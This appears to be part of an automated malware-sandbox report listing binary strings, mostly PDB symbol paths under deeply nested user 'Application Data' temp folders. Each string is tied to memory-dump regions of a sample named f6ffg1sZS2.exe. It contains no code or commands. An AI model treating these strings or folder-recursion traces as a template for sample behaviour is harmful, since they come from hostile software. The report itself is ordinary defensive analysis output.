Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ce\\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320190916.000000000A44A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\/ source: f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004065000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004057000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343523011.0000000004070000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004061000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2398958794.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399883545.000000000422E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\r\\\ source: f6ffg1sZS2.exe, 00000002.00000003.2372045519.000000000A39F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380287643.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381081224.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372475576.000000000A3B0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373364483.000000000A3B2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378278572.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\State\q source: f6ffg1sZS2.exe, 00000002.00000003.2403545347.000000000416B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\XU source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\d source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000002.2409328051.0000000004206000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2404145455.0000000004129000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402167994.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403453023.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403877259.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402244378.0000000004206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2386194021.0000000004050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\dge\ source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381261187.000000000A55D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\8o9 source: f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2398958794.000000000422E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399883545.000000000422E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2387896261.0000000004140000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000418F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2370953145.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2364801436.000000000A503000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A4F9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\ source: f6ffg1sZS2.exe, 00000002.00000003.2398476112.000000000A3C2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399666303.000000000A3D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359996829.000000000A456000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366764031.000000000A460000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A456000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\= source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\*~ source: f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\b$G source: f6ffg1sZS2.exe, 00000002.00000003.2371145590.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373140930.000000000A514000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A512000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372386172.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361098870.000000000A50F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372640187.000000000A513000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\A- source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\T source: f6ffg1sZS2.exe, 00000002.00000003.2398179007.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\Floodgate\ta\H source: f6ffg1sZS2.exe, 00000002.00000003.2366877790.000000000A551000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359526279.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371411391.000000000A539000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359260163.000000000A519000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2370853432.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359364496.000000000A531000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371466978.000000000A555000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2373086035.0000000004071000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\A\| source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\T source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361641461.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2364801436.000000000A503000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362722434.000000000A4F9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\on Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\ source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378809416.000000000A555000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378045989.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381261187.000000000A55D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Q source: f6ffg1sZS2.exe, 00000002.00000003.2341746087.000000000A571000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A57B000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338761669.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343861710.000000000A57D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*6 source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\\| source: f6ffg1sZS2.exe, 00000002.00000003.2404782322.0000000003CE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: f6ffg1sZS2.exe, 00000002.00000003.2372045519.000000000A39F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380287643.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2381081224.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372475576.000000000A3B0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373364483.000000000A3B2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2378278572.000000000A3B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\E source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\L source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbC)a source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069180001.0000000003D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\} source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293133328.000000000A515000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ko source: f6ffg1sZS2.exe, 00000002.00000003.2404145455.0000000004129000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402167994.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403453023.0000000004120000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2403877259.0000000004120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320828584.000000000A438000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\y source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\V source: f6ffg1sZS2.exe, 00000002.00000003.2398476112.000000000A3C2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2399666303.000000000A3D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\* source: f6ffg1sZS2.exe, 00000002.00000003.2321232188.0000000003CC1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2328691950.0000000003CC3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2069180001.0000000003D46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\=n source: f6ffg1sZS2.exe, 00000002.00000003.2341405543.0000000004030000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004021000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004030000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.00000000040D3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp
